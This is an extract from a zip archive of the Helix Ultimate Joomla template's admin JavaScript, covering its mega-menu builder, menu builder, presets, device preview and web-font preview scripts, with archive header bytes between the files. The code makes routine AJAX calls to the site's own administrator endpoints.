t=e(this).data("dependon"),[i,s]=t.split(":"),a=e(`[name=${i}]`),o=a.val();"checkbox"===a.prop("type")&&(o=a.prop("checked"),s=1==s),o==s?e(this).fadeIn(300):e(this).fadeOut(300),v[i]=a}}))}g(),Object.values(v).forEach((function(e){e.on("change",(function(e){e.preventDefault(),g()}))})),function(){let t=e(".hu-field-dimension-width"),i=e(".hu-field-dimension-height");t.on("keyup",(function(t){t.preventDefault();let i=e(this).closest(".controls").find(".hu-field-dimension-input"),s=i.val()||"0x0",a=e(this).val(),[o,n]=s.toLowerCase().split("x");""===a&&(a="0"),o=a,s=`${o}x${n}`,i.val(s)})),i.on("keyup",(function(t){t.preventDefault();let i=e(this).closest(".controls").find(".hu-field-dimension-input"),s=i.val()||"0x0",a=e(this).val(),[o,n]=s.toLowerCase().split("x");""===a&&(a="0"),n=a,s=`${o}x${n}`,i.val(s)}))}();let y=[];function C(){e(".control-group[data-enableon]").each((function(){let[t,i]=e(this).data("enableon").split(":"),s=e(`[name=${t}]`);y.push(s);let a=s.val();"checkbox"===s.prop("type")&&(a=s.prop("checked"),i=1==i),a==i?(e(this).find("input, select, textarea").prop("readonly",!1),e(this).hasClass("uneditable")&&e(this).removeClass("uneditable")):(e(this).find("input, select, textarea").prop("readonly",!0),e(this).hasClass("uneditable")||e(this).addClass("uneditable"))}))}C(),y.forEach((function(e){e.on("change",(function(){C()}))})),e(".hu-switcher .hu-action-group [hu-switcher-action]").on("click",(function(t){let i=e(this).data("value");e(this).siblings().removeClass("active"),e(this).addClass("active"),e(this).closest(".hu-switcher").find("input[type=hidden]").val(i).trigger("change");const s=t.target.closest(".hu-switcher").querySelector("input[type=hidden]");Joomla.utils.triggerEvent(s,"change")}))}));PK!:���7�7)helixultimate/assets/js/admin/megamenu.jsnu&1i�var megaMenu={run(){this.declareDOMVariables(),this.initMiniColors(),this.jQueryPluginExtension(),this.initChosen(),this.removeEventListeners(),this.handleMegaMenuToggle(),this.toggleSidebarSettings($megamenu.prop("checked")),this.handleSidebarSettings(),this.handleCloseModal(),this.rowSortable(".hu-megamenu-rows-container"),this.columnSortable(".hu-megamenu-columns-container"),this.itemSortable(".hu-megamenu-column-contents"),this.handleSaveMegaMenuSettings(),this.handleRemoveRow(),this.handleLoadSlots(),this.handleCustomLayoutDisplay(),this.handleLayoutOptionSelection(),this.handleCustomLayoutSelection(),this.handleRowWiseColumnLayoutSelection(),this.openModulePopover(),this.handleClosePopover(),this.handleAddNewCell(),this.handleRemoveCell(),this.toggleColumnsSlots(),this.handleModuleSearch()},jQueryPluginExtension(){$.fn.extend({test(){return this.css("color","#fff")}})},initChosen(){$("select[data-husearch]").chosen({width:"100%",allow_single_deselect:!0,placeholder_text_single:Joomla.Text._("HELIX_ULTIMATE_SELECT_ICON_LABEL")})},declareDOMVariables(){$megamenu=$(".hu-megamenu-builder-megamenu"),$settingsInput=$("#hu-megamenu-layout-settings"),$saveBtn=$(".hu-megamenu-save-btn"),$cancelBtn=$(".hu-megamenu-cancel-btn"),$rowsContainer=$(".hu-megamenu-rows-container"),$popover=$(".hu-megamenu-popover");itemId=$("#hu-menu-itemid").val(),settingsData=$settingsInput.val(),settingsData=settingsData&&JSON.parse(settingsData),settingsData=$.extend({badge:"",badge_bg_color:"",badge_position:"",badge_text_color:"",customclass:"",dropdown:"right",faicon:"",layout:[],megamenu:0,menualign:"full",showtitle:1,width:"600px"},settingsData),baseUrl=$("#hu-base-url").val()},handleRemoveCell(){$(document).on("click",".hu-megamenu-cell-remove",(function(){const e=$(this).closest(".hu-megamenu-cell").data("cellid")||1,t=$(this).closest(".hu-megamenu-col").data("columnid")||1,a=$(this).closest(".hu-megamenu-row-wrapper").data("rowid")||1;$(this).closest(".hu-megamenu-cell").slideUp((function(){$(this).remove();let o=settingsData.layout[a-1].attr[t-1],n=void 0!==o.items?o.items:[];n.length>0&&n.splice(e-1,1),settingsData.layout[a-1].attr[t-1].items=n}))}))},handleAddNewCell(){const e=this;$(document).on("click",".hu-megamenu-insert-module",(async function(){const t=$(this).data("module"),a="module",o=$popover.data("rowid"),n=$popover.data("columnid"),s=settingsData.layout[o-1].attr[n-1]||{items:[]};void 0===s.items&&(s.items=[]);const l={type:a,item_id:t,itemId:itemId,rowId:o,columnId:n,cellId:s.items.length+1},u=await e.addNewCell(l);u.status&&($(`.hu-megamenu-row-wrapper[data-rowid=${o}] .hu-megamenu-col[data-columnid=${n}] .hu-megamenu-column-contents`).append(u.html),e.closePopover(),s.items.push({type:a,item_id:t}),settingsData.layout[o-1].attr[n-1]=s)}))},addNewCell(e){let t=`${baseUrl}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=generateNewCell&helix_id=${helixUltimateStyleId}`;return new Promise(((a,o)=>{$.ajax({method:"POST",url:t,data:e,success(e){e="string"==typeof e&&e.length>0&&JSON.parse(e),a(e)},error(e){o(e)}})}))},handleClosePopover(){const e=this;$(document).on("click",".hu-megamenu-popover-close",(function(){e.closePopover()}))},openPopover(){!$popover.hasClass("show")&&$popover.addClass("show"),$(".hu-megamenu-module-search").val("")},closePopover(){$popover.hasClass("show")&&$popover.removeClass("show")},openModulePopover(){const e=this;$(document).on("click",".hu-megamenu-add-new-item",(async function(t){const a=$(this).closest(".hu-megamenu-col").data("columnid")||1,o=$(this).closest(".hu-megamenu-row-wrapper").data("rowid")||1;$popover.data("rowid",o).data("columnid",a).attr("data-rowid",o).attr("data-columnid",a);const n=await e.getModulesContents();n.status&&$popover.find(".hu-megamenu-modules-container").html(n.html),e.openPopover()}))},handleModuleSearch(){let e=null,t=this;$(document).on("keyup",".hu-megamenu-module-search",(function(a){a.preventDefault(),e&&clearTimeout(e),e=setTimeout((async()=>{let{value:e}=a.target;const o=await t.getModulesContents(e);o.status&&$popover.find(".hu-megamenu-modules-container").html(o.html)}),100)}))},getModulesContents(e=""){const t=`${baseUrl}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=getModuleList&keyword=${e}&helix_id=${helixUltimateStyleId}`;return new Promise(((e,a)=>{$.ajax({method:"GET",url:t,success(t){t="string"==typeof t&&t.length>0&&JSON.parse(t),e(t)},error(e){a(e)}})}))},initMiniColors(){$(".hu-input-color").each((function(){!$(this).hasClass("minicolors")&&$(this).addClass("minicolors")})),Joomla.initColorPicker(".hu-megamenu-container .minicolors")},handleMegaMenuToggle(){let e=this;$megamenu.on("change",(function(t){t.preventDefault(),e.toggleSidebarSettings($(this).prop("checked"))}))},toggleSidebarSettings(e){let t=$(".hu-megamenu-grid"),a=$(".hu-megamenu-settings"),o=$(".hu-megamenu-alignment"),n=$(".hu-menuitem-dropdown-position"),s=$(".hu-mega-menu-builder");e?(a.hasClass("show")||a.addClass("show"),t.hasClass("show")||t.addClass("show"),s.hasClass("collapsed")&&s.removeClass("collapsed"),o.show(),n.hide()):(a.hasClass("show")&&a.removeClass("show"),t.hasClass("show")&&t.removeClass("show"),s.hasClass("collapsed")||s.addClass("collapsed"),o.hide(),n.show())},handleCustomLayoutDisplay(){$(document).on("click",".hu-megamenu-custom",(function(){$(this).closest(".hu-megamenu-columns-layout").find(".hu-megamenu-custom-layout").slideToggle(100)}))},closeRowLayoutDisplay(){let e=$(".hu-megamenu-row-slots");e.hasClass("show")&&e.removeClass("show")},closeLayoutDisplay(){$(".hu-megamenu-add-slots").hide()},removeEventListeners(){$(document).off("click",".hu-megamenu-add-slots .hu-megamenu-custom-layout-apply"),$(document).off("click",".hu-megamenu-remove-row"),$(document).off("click",".hu-megamenu-add-row > a"),$(document).off("click",".hu-megamenu-custom"),$(document).off("click",".hu-megamenu-columns"),$(document).off("click",".hu-megamenu-add-new-item"),$(document).off("click",".hu-megamenu-cell-options-item"),$(document).off("click",".hu-megamenu-popover-close"),$(document).off("click",".hu-megamenu-insert-module"),$(document).off("click",".hu-megamenu-cell-remove"),$(document).off("click",".hu-megamenu-add-slots .hu-megamenu-column-layout:not(.hu-megamenu-custom)"),$(document).off("click",".hu-megamenu-row-slots .hu-megamenu-column-layout:not(.hu-megamenu-custom)"),$(document).off("click",".hu-megamenu-row-slots .hu-megamenu-custom-layout-apply"),$cancelBtn.off("click"),$saveBtn.off("click"),$megamenu.off("change")},handleRowWiseColumnLayoutSelection(){const e=this;$(document).on("click",".hu-megamenu-row-slots .hu-megamenu-column-layout:not(.hu-megamenu-custom)",(async function(){const t=$(this).closest(".hu-megamenu-row-wrapper").data("rowid")-1,a=$(this).data("layout")||"12";await e.changeRowsColumns({rowIndex:t,layout:a,$container:$(this).closest(".hu-megamenu-row-wrapper").find(".hu-megamenu-columns-container")})})),$(document).on("click",".hu-megamenu-row-slots .hu-megamenu-custom-layout-apply",(async function(){const t=$(this).closest(".hu-megamenu-row-wrapper").data("rowid")-1,a=$(this).parent().find(".hu-megamenu-custom-layout-field").val();await e.changeRowsColumns({rowIndex:t,layout:a,$container:$(this).closest(".hu-megamenu-row-wrapper").find(".hu-megamenu-columns-container")})}))},async changeRowsColumns({rowIndex:e,layout:t,$container:a}){const o=settingsData.layout[e],n=await this.updateRowLayout({layout:t,rowData:JSON.stringify(o),rowId:e+1,itemId:itemId});n.status&&(a.html(n.html),settingsData.layout[e]=n.data,this.closeRowLayoutDisplay(),this.refreshSortable(["item"]))},updateRowLayout:({layout:e,rowData:t,rowId:a,itemId:o})=>new Promise(((n,s)=>{const l=`${baseUrl}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=updateRowLayout&helix_id=${helixUltimateStyleId}`,u={layout:e,data:t,rowId:a,itemId:o};$.ajax({method:"POST",url:l,data:u,success(e){e=!("string"!=typeof e||!e.length)&&JSON.parse(e),n(e)},error(e){s(e)}})})),handleLayoutOptionSelection(){let e=this;$(document).on("click",".hu-megamenu-add-slots .hu-megamenu-column-layout:not(.hu-megamenu-custom)",(async function(t){t.preventDefault();const a=$(this).data("layout")||"12",o=settingsData.layout.length+1,n=await e.generateRow(a,o,itemId);n.status&&($rowsContainer.append(n.data),e.closeLayoutDisplay(),settingsData.layout.push(n.row),e.refreshSortable(["column","item"]))}))},handleCustomLayoutSelection(){let e=this;$(document).on("click",".hu-megamenu-add-slots .hu-megamenu-custom-layout-apply",(async function(t){t.preventDefault();let a=$(".hu-megamenu-custom-layout-field").val(),o=settingsData.layout.length+1;if(""==a)return;const n=await e.generateRow(a,o,itemId);n.status&&($rowsContainer.append(n.data),e.closeLayoutDisplay(),settingsData.layout.push(n.row),e.refreshSortable())}))},toggleColumnsSlots(){$(document).on("click",".hu-megamenu-columns",(function(){$(this).closest(".hu-megamenu-row-toolbar-right").find(".hu-megamenu-row-slots").toggleClass("show")}))},generateRow:(e,t,a)=>new Promise(((o,n)=>{const s=`${baseUrl}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=generateRow&helix_id=${helixUltimateStyleId}`,l={layout:e,rowId:t,itemId:a};$.ajax({method:"POST",url:s,data:l,success(e){e=!("string"!=typeof e||!e.length)&&JSON.parse(e),o(e)},error(e){n(e)}})})),handleSidebarSettings(){let e=this;[".hu-megamenu-sidebar [name=megamenu]",".hu-megamenu-sidebar [name=width]",".hu-megamenu-sidebar [name=dropdown]",".hu-megamenu-sidebar [name=showtitle]",".hu-megamenu-sidebar [name=menualign]",".hu-megamenu-sidebar [name=faicon]",".hu-megamenu-sidebar [name=customclass]",".hu-megamenu-sidebar [name=badge]",".hu-megamenu-sidebar [name=badge_position]",".hu-megamenu-sidebar [name=badge_bg_color]",".hu-megamenu-sidebar [name=badge_text_color]"].forEach((t=>{$(t).on("change",(function(t){t.preventDefault();let{name:a,value:o}=t.target;o="checkbox"===$(this).attr("type")?($(this).prop("checked")>>0).toString():o,e.updateSettingsField(a,o)}))}))},swapRow(e,t){let a=settingsData.layout,o=a.splice(e,1);a.splice(t,0,o[0]),settingsData.layout=a},swapColumn(e,t,a){let o=settingsData.layout[e].attr,n=o.splice(t,1);o.splice(a,0,n[0]),settingsData.layout[e].attr=o},swapItem({prevRowIndex:e,prevColIndex:t,prevItemIndex:a,currRowIndex:o,currColIndex:n,currItemIndex:s}){let l=[...settingsData.layout[e].attr[t].items],u=l.splice(a,1);settingsData.layout[e].attr[t].items=l;let i=settingsData.layout[o].attr[n];void 0===i.items&&(i.items=[]);let m=[...i.items];0===m.length?m.push(u[0]):m.splice(s,0,u[0]),i.items=m,settingsData.layout[o].attr[n]=i},updateSettings(){$settingsInput.val(JSON.stringify(settingsData))},updateSettingsField(e,t){settingsData[e]=t},handleRemoveRow(){$(document).on("click",".hu-megamenu-remove-row",(function(e){e.preventDefault();let t=$(this).closest(".hu-megamenu-row-wrapper"),a=t.index();t.slideUp(100,(function(){$(this).remove(),settingsData.layout.splice(a,1)}))}))},handleLoadSlots(){$(document).on("click",".hu-megamenu-add-row > a",(function(){$(this).closest(".hu-megamenu-grid").find(".hu-megamenu-add-slots").toggle()}))},handleCloseModal(){$cancelBtn.on("click",(function(){$(this).closeModal()}))},handleSaveMegaMenuSettings(){let e=this;$saveBtn.on("click",(function(){e.saveMegaMenuSettings()}))},saveMegaMenuSettings(){const e=`${baseUrl}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=saveMegaMenuSettings&helix_id=${helixUltimateStyleId}`,t={settings:settingsData,id:itemId};$.ajax({method:"POST",url:e,data:t,success(e){(e="string"==typeof e&&e.length>0&&JSON.parse(e)).status&&Joomla.reloadPreview()},error(e){alert("Something went wrong!")},complete(){$(document).closeModal(),Joomla.HelixToaster.success("Saved mega menu settings!","Success")}})},refreshSortable(e){e||(e=["row","column","item"]),"string"==typeof e&&(e=[e]);const t={row:{selector:".hu-megamenu-rows-container",func:"rowSortable"},column:{selector:".hu-megamenu-columns-container",func:"columnSortable"},item:{selector:".hu-megamenu-column-contents",func:"itemSortable"}};for(let a=0;a<e.length;a++)if(void 0!==t[e[a]]){let o=t[e[a]];this[o.func](o.selector)}},updateRows(){$(".hu-megamenu-row-wrapper").each((function(e){$(this).data("rowid",e+1).attr("data-rowid",e+1)}))},rowSortable(e){let t=this,a=null,o=null;$(e).sortable({handle:".hu-megamenu-row-drag-handlers",placeholder:"hu-row-sortable-placeholder",axis:"y",items:"> *",tolerance:"pointer",scroll:!0,start(e,t){let o=t.helper.outerHeight();o-=2,t.placeholder.css({height:o}),a=t.item.index()},stop(e,n){o=n.item.index(),t.swapRow(a,o),t.updateRows()}}).disableSelection()},updateColumns(e){$(`.hu-megamenu-row-wrapper[data-rowid=${e+1}]`).find(".hu-megamenu-col").each((function(e){$(this).data("columnid",e+1).attr("data-columnid",e+1)}))},columnSortable(e){let t,a,o,n,s=this;$(e).sortable({handle:".hu-megamenu-column-drag-handler",placeholder:"hu-column-sortable-placeholder",containment:".hu-megamenu-grid",axis:"x",items:"> *",start(e,a){let s=a.helper.outerHeight(),l=a.helper.outerWidth();a.placeholder.css({height:s,width:l}),o=a.item.closest(".hu-megamenu-row-wrapper").data("rowid")-1,t=a.item.index(),n=a.item.closest(".hu-megamenu-columns-container"),n.addClass("hu-megamenu-column-dragging")},stop(e,l){a=l.item.index(),s.swapColumn(o,t,a),s.updateColumns(o),n.removeClass("hu-megamenu-column-dragging")}})},itemSortable(e){let t,a,o,n,s,l,u,i=this;$(e).sortable({connectWith:".hu-megamenu-column-contents",placeholder:"hu-item-sortable-placeholder",containment:".hu-megamenu-grid",items:"> .hu-megamenu-cell",start(e,t){let a=t.helper.outerHeight(),l=t.helper.outerWidth();t.placeholder.css({height:a,width:l}),n=(t.item.closest(".hu-megamenu-col").data("columnid")||1)-1,o=(t.item.closest(".hu-megamenu-row-wrapper").data("rowid")||1)-1,s=t.item.index(),u=t.item.find(".hu-megamenu-cell-remove"),u.css({opacity:0})},stop(e,m){a=(m.item.closest(".hu-megamenu-col").data("columnid")||1)-1,t=(m.item.closest(".hu-megamenu-row-wrapper").data("rowid")||1)-1,l=m.item.index(),i.swapItem({prevRowIndex:o,prevColIndex:n,prevItemIndex:s,currRowIndex:t,currColIndex:a,currItemIndex:l}),u.css({opacity:1})}}).disableSelection()}};Joomla.helixMegaMenu=megaMenu;PK!��f� 	 	(helixultimate/assets/js/admin/presets.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(e){let t=e(".hu-presets #presets-data"),a=e(".hu-presets .hu-preset"),s=t.val();function n(n,o,r,l){s[o].data=n,console.log(n),t.val(JSON.stringify(s)),a.each((function(){let t=this;e(this).data("preset")===o&&Object.entries(n).forEach((function([a,s]){e(t).attr(`data-${a}`,s),e(t).data(a,s)}))})),r.html(l.find("> div")),window.purgeCss(),e(".hu-options-modal-overlay, .hu-options-modal").remove(),e("body").removeClass("hu-options-modal-open");let i=function(e){let t=Object.values(e).reduce((function(e,t){return e[t]=(e[t]||0)+1,e}),{}),a=0;return Object.entries(t).reduce((function(e,[t,s]){return s>=a&&(a=s,e=t),e}),"")}(n),u=e(`.hu-preset[data-preset=${o}]`);u.css({"background-color":i}),u.find(".hu-edit-preset").css({color:i}),e(`.hu-preset[data-preset=${o}]`).click()}"string"==typeof s&&s.length&&(s=JSON.parse(s)),e(document).on("click",".hu-edit-preset",(function(t){t.preventDefault(),t.stopPropagation();let a=e(this).data("preset_data")||"",{name:s,data:o}=a,r=e(`.hu-preset-container#${s}`),l=r.clone(!0);l.each((function(){e(this).find("input").removeAttr("id")})),e(this).helixUltimateOptionsModal({flag:"edit-presets",title:`<span class='fas fa-cogs hu-mr-2'></span> Edit Preset: ${s}`,class:`hu-modal-small edit-preset-modal modal-${s}`,applyBtnClass:"hu-save-preset",footerButtons:['<a href="#" class="hu-btn hu-btn-secondary helix-preset-reset hu-ml-auto"><span class="fas fa-sync-alt" aria-hidden="true"></span> Reset to Default</a>']}),e(".hu-options-modal-inner").html(l.removeAttr("id").removeAttr("style").addClass("hu-options-modal-content")),l.find("input.preset-control").each((function(){e(this).on("change",(function(t){t.preventDefault();let a=e(this).attr("name"),s=e(this).val();o[a]=s}))}));let i=e(`.edit-preset-modal.modal-${s}`).find(".hu-save-preset"),u=e(`.edit-preset-modal.modal-${s}`).find(".helix-preset-reset");i.length&&(i.on("click",(function(e){e.preventDefault(),n(o,s,r,l)})),u.on("click",(function(t){if(t.preventDefault(),window.confirm("Do you really want to reset your changes to default?")){n(JSON.parse(e("#default-values").val())[s],s,r,l)}})))}))}));PK!�4.helixultimate/assets/js/admin/devices-field.jsnu&1i�jQuery(document).ready((function(e){let t=e(".helix-field"),i=t.find("input"),a=Joomla.getOptions("data")||{};t.length>0&&t.find(".helix-devices .device-btn").on("click",(function(d){d.preventDefault();let l=e(this).data("device");!function(t){const i={lg:"100%",md:`${a.breakpoints.tablet}px`,sm:`${a.breakpoints.mobile}px`},d={md:"desktop",sm:"tablet",xs:"mobile",desktop:"desktop",tablet:"tablet",mobile:"mobile"};e(`.hu-device[data-device=${d[t]}]`).parent().find(".active").removeClass("active"),e(`.hu-device[data-device=${d[t]}]`).addClass("active");e("#hu-template-preview").animate({width:i[t]},500,"linear")}(l),i.val(l).trigger("change"),t.find(".helix-devices .device-btn").each((function(){e(this).hasClass("active")&&e(this).removeClass("active")})),e(this).addClass("active")}))}));PK!�書�,helixultimate/assets/js/admin/menubuilder.jsnu&1i�jQuery((function(e){const t=Joomla.getOptions("meta")||{};var a=null,n=null,o=e("select[name=menu]").val()||"mainmenu";function i(){e(document).off("click",".hu-add-menu-item")}function s(a){const n=`${t.base}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=getMenuItems&menutype=${a}&helix_id=${helixUltimateStyleId}`;e.ajax({type:"GET",url:n,beforeSend(){e(document).off("click",".hu-branch-tools .hu-branch-tools-icon")},success(a){(a=a&&JSON.parse(a)).status&&(e("#hu-menu-builder-container").html(a.data),i(),Joomla.sortable.run(),e(document).on("sortCompleted",(async function(a,n){let o=n.item.data("itemid"),i=n.item.data("parent"),s=n.item.getParent(),l=s.length?s.data("itemid"):1;var r;+i==+l?u(s,!0):(await(r={id:o,parent:l},new Promise((function(a,n){const o=`${t.base}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=parentAdoption&helix_id=${helixUltimateStyleId}`;e.ajax({method:"POST",url:o,data:r,success(e){e="string"==typeof e&&e.length>0?JSON.parse(e):e,a(e)},error(e){n(e)}})})))).status&&(n.item.data("parent",l).attr("data-parent",l),u(s))})),e(document).on("click",".hu-branch-tools .hu-branch-tools-icon",(function(t){t.preventDefault();let a=this;e(".hu-branch-tools .hu-branch-tools-list").each((function(){e(this).hasClass("active")&&e(this)[0]!==e(a).next(".hu-branch-tools-list")[0]&&(e(this).removeClass("active"),e(this).fadeIn())})),e(this).next(".hu-branch-tools-list").toggleClass("active").fadeToggle()})),e(document).on("click",".hu-branch-tools .hu-branch-tools-list-edit",(function(t){t.preventDefault(),r(),c(e(this).closest(".hu-menu-tree-branch").data("itemid")||0)})),e(document).on("click",".hu-branch-tools .hu-branch-tools-list-delete",(function(t){t.preventDefault(),r();const a=e(this).closest(".hu-menu-tree-branch").data("itemid")||0;window.confirm("Are you sure to delete the item?")&&l(a)})),e(document).on("click",".hu-branch-tools .hu-branch-tools-list-megamenu",(async function(a){a.preventDefault(),r();const n=e(this).closest(".hu-menu-tree-branch"),o=n.data("parent")||1,i=n.data("itemid")||0,s=await function(a){return new Promise(((n,o)=>{const i=`${t.base}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=generateMegaMenuBody&id=${a}&helix_id=${helixUltimateStyleId}`;e.ajax({method:"GET",url:i,success(e){e="string"==typeof e&&e.length>0&&JSON.parse(e),n(e)},error(e){o(e)}})}))}(i);s.status&&(e(document).helixUltimateMegamenuModal({title:"1"==o?"Mega Menu":"Settings",className:"hu-mega-menu-builder",targetType:"id",target:"megaMenuModal",body:s.html}),Joomla.helixMegaMenu.run())})))},complete(){Joomla.reloadPreview(),Joomla.utils.calculateSiblingDistances()}})}function i(){e(document).off("click",".hu-branch-tools .hu-branch-tools-list-delete"),e(document).off("click",".hu-branch-tools .hu-branch-tools-list-edit"),e(document).off("click",".hu-branch-tools .hu-branch-tools-list-megamenu")}function l(a){const n=`${t.base}/administrator/index.php?option=com_menus&task=items.trash&cid[]=${a}`;e.ajax({method:"GET",url:n,success(e){s(o)},error(e){Joomla.HelixToaster.error("Something went wrong!","Error")},complete(){!function(){const a=`${t.base}/administrator/index.php?option=com_ajax&helix=ultimate&request=task&action=rebuildMenu&helix_id=${helixUltimateStyleId}`;e.ajax({method:"GET",url:a,success(e){},error(e){alert("Rebuild menu failed with: "+e.message)}})}(),Joomla.HelixToaster.error("Menu item has been successfully removed!","Success")}})}function r(){e(".hu-branch-tools .hu-branch-tools-list").each((function(){e(this).hasClass("active")&&(e(this).removeClass("active"),e(this).hide())}))}function c(e){m({title:"Edit Menu Item",targetType:"id",target:"editMenuItem",className:"edit-menu-item",frameUrl:t.base+"/administrator/index.php?option=com_menus&task=item.edit&tmpl=component&menutype="+o+"&id="+e}),h("edit-menu-item","item.save")}function u(a,n=!1){let o=a.length?a.getChildren():e(document).getRootChildren();if(0===o.length)return;const i={cid:[],order:[]};var s;o.each((function(t){i.cid.push(e(this).data("itemid")),i.order.push(t+1)})),(s=i,new Promise((function(a,n){const o=`${t.base}/administrator/index.php?option=com_menus&view=items&task=items.saveOrderAjax&tmpl=component`;e.ajax({method:"POST",url:o,data:s,success(e){a(e)},error(e){n(e)}})}))).then((function(){Joomla.reloadPreview()}))}function m({title:t,targetType:o,target:i,className:s,frameUrl:l}){e(document).helixUltimateFrameModal({title:t,targetType:o,target:i,className:s,frameUrl:l}),a=e(`.hu-modal.${s}`),(n=a.find("iframe")).off("load"),e(document).off("click",`.hu-modal.${s} button.hu-save-btn`),a.find(".hu-save-btn").prop("disabled",!0),a.find(".hu-cancel-btn").on("click",(function(t){e(this).closeModal()}))}function d(t){const a=e(".hu-spinner");t?a.hasClass("hidden")&&a.removeClass("hidden"):a.hasClass("hidden")||a.addClass("hidden")}function h(t,a="item.apply"){const i=`.hu-modal.${t} button.hu-save-btn`;n.on("load",(function(){const t=n.contents();e(i).prop("disabled",!1),e(document).off("click",i),e(document).on("click",i,Joomla.utils.debounce((async function(){const n=e(t).find("form");n.find("input[name=task]").val(a),n.find("input[name=task]").attr("value",a);const i=t[0].formvalidator.isValid(n[0]);if(d(!0),i)try{const t=await function(t){const a=t.attr("action"),n=t.serializeArray();return new Promise(((t,o)=>{e.ajax({method:"POST",url:a,data:n,success(e){t(e)},error(e){o(e)}})}))}(n),i=e('<div class="hu-menuitem-resp"></div>').hide().html(t),l=i.find(".alert-heading"),r=i.find(".alert-message"),c=l.length>0?l.text():"",u=r.length>0?r.text():"",m=i.find("#system-message-container noscript"),h=e("<div></div>").hide().html(m.text());if(h.find(".alert-danger").length>0)return Joomla.HelixToaster.error(m.html(),"Error"),void d(!1);t&&"Error"!==c?(s(o),e(this).closeModal(),"item.apply"===a?Joomla.HelixToaster.success("Menu item has been successfully added!","Saved"):"item.save"===a&&Joomla.HelixToaster.success("Changes have been successfully saved!","Updated")):Joomla.HelixToaster.error(u,"Error"),d(!1)}catch(e){Joomla.HelixToaster.error("Something went wrong!","Error"),d(!1)}else d(!1)}),500))}))}s(o),e("select[name=menu]").on("change",(function(){s(o=e(this).val())})),e(document).on("click",".hu-add-menu-item",(function(e){e.preventDefault(),m({title:"Add New Item",targetType:"id",target:"addNewMenuItem",className:"add-new-menu-item",frameUrl:t.base+"/administrator/index.php?option=com_menus&task=item.add&tmpl=component&menutype="+o}),h("add-new-menu-item","item.apply")})),i()}));PK!(^��(helixultimate/assets/js/admin/webfont.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(t){t(".hu-webfont-list").chosen({width:"100%"}),Joomla.initColorPicker(".hu-font-color-input");let e=t(".hu-field-webfont").data("id");t("#"+e);function i(t){let e=t.find(".hu-webfont-list").val(),i=t.find(".hu-webfont-weight-list").val(),n=t.find(".hu-webfont-unit.active").find(".hu-unit-field-value").val(),s=t.find(".hu-font-color-input").val(),a=(t.find(".hu-webfont-subset-list").val(),t.find(".hu-font-line-height-input").val()),o=t.find("[name=hu-font-letter-spacing-input]").val(),l=t.find("input.hu-text-decoration").val(),c=t.find("input.hu-text-align").val(),f=t.find(".hu-webfont-preview");e&&f.css("font-family",e),i?f.css("font-weight",i):f.css("font-weight","100"),n?(/(em|rem|px|%)$/.test(o)||(n+="px"),n=n.replace(/\s+/,""),f.css("font-size",n)):f.css("font-size",""),s?f.css("color",s):f.css("color","#000000"),a?f.css("line-height",a):f.css("line-height",""),o?(/(em|rem|px|%)$/.test(o)||(o+="px"),o=o.replace(/\s+/,""),f.css("letter-spacing",o)):f.css("letter-spacing",""),l&&f.css("text-decoration",l),c&&f.css("text-align",c)}t(".hu-field-webfont").each((function(){i(t(this))})),t(document).on("change",".hu-webfont-list",(function(e){e.preventDefault();var n=t(this),s=n.val();if(-1!==t.inArray(s,["Arial","Tahoma","Verdana","Helvetica","Times New Roman","Trebuchet MS","Georgia"]))n.closest(".hu-field-webfont").find(".hu-webfont-subset-list").html("").trigger("liszt:updated");else{var a={action:"fontVariants",option:"com_ajax",helix:"ultimate",request:"task",data:{fontName:s},format:"json"};t.ajax({type:"POST",data:a,success:function(e){var i=t.parseJSON(e);n.closest(".hu-field-webfont").find(".hu-webfont-subset-list").html(i.subsets).trigger("liszt:updated")}});var o=n.val().replace(" ","+");t("head").append("<link href='//fonts.googleapis.com/css?family="+o+":100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=swap' rel='stylesheet' type='text/css'>")}return i(t(this).closest(".hu-field-webfont")),!1})),t(document).on("change",".hu-webfont-unit .hu-unit-field-value",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t(".hu-font-color-input").on("input",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t(".hu-font-line-height-input").on("change",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t("[name=hu-font-letter-spacing-input]").on("change",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t(document).on("change",".hu-webfont-weight-list",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t(document).on("change",".hu-webfont-style-list",(function(e){e.preventDefault(),i(t(this).closest(".hu-field-webfont"))})),t(".list-font-subset").on("change",(function(e){e.preventDefault();var i=t(this).closest(".hu-field-webfont").find(".hu-webfont-list").val().replace(" ","+");t("head").append("<link href='//fonts.googleapis.com/css?family="+i+":100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&subset="+t(this).val()+"&display=swap' rel='stylesheet' type='text/css'>")})),t(".hu-font-decoration .hu-action-group .hu-switcher-action").on("click",(function(e){e.preventDefault(),e.stopPropagation(),t(this).siblings().removeClass("active"),t(this).addClass("active"),t(this).closest(".hu-font-decoration").find("input.hu-text-decoration").val(t(this).data("value")).trigger("change"),i(t(this).closest(".hu-field-webfont"))})),t(".hu-font-alignment .hu-action-group .hu-switcher-action").on("click",(function(e){e.preventDefault(),e.stopPropagation(),t(this).siblings().removeClass("active"),t(this).addClass("active"),t(this).closest(".hu-font-alignment").find("input.hu-text-align").val(t(this).data("value")).trigger("change"),i(t(this).closest(".hu-field-webfont"))})),t(document).on("click","#update_fonts",(function(e){e.preventDefault();var i=t(this);return 